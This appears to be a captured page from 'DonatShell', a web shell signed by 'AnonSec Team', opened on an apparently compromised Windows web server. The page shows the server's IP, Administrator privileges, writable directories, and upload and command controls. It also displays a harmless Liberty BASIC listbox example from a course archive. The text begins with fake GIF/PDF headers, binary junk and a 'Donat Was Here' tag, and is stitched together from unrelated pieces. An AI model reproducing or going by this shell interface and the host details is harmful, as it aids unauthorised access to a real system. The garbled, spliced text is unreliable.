GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 134.29.175.74  /  Your IP : 216.73.216.160
Web Server : nginx/1.10.2
System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586
User : Administrator ( 0)
PHP Version : 7.1.0
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /nginx/html/JimMartinson/_Archive/CST1794/Archive/Examples/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :

[ HOME SHELL ]     

Current File : /nginx/html/JimMartinson/_Archive/CST1794/Archive/Examples/Example-14-14.bas
NOMAINWIN
array$(0) = "Mystery meat"
array$(1) = "Cat food"
array$(2) = "Something pink and artificially preserved"
array$(3) = "Liquid mush"
array$(4) = "Sugar and artificial coloring"

WindowWidth = 300
WindowHeight = 240

LISTBOX #1.list1, array$(), [Action1], 40, 10, 216, 40
LISTBOX #1.list2, array$(), [Action2], 40, 100, 216, 70
OPEN "Here are your choices for dinner tonight" FOR Window AS #1
PRINT #1.list1, "singleclickselect"
PRINT #1, "trapclose [quit]"
WAIT

[Action1]
PRINT #1.list1, "selection?"
INPUT #1.list1, selected$
NOTICE "You chose = " + selected$
WAIT

[Action2]
PRINT #1.list2, "selection?"
INPUT #1.list2, selected$
NOTICE "You chose = " + selected$
WAIT

[quit]
CONFIRM "Are you sure you want to quit?"; quit$
IF quit$ = "no" THEN WAIT
CLOSE #1
END

Anon7 - 2022
AnonSec Team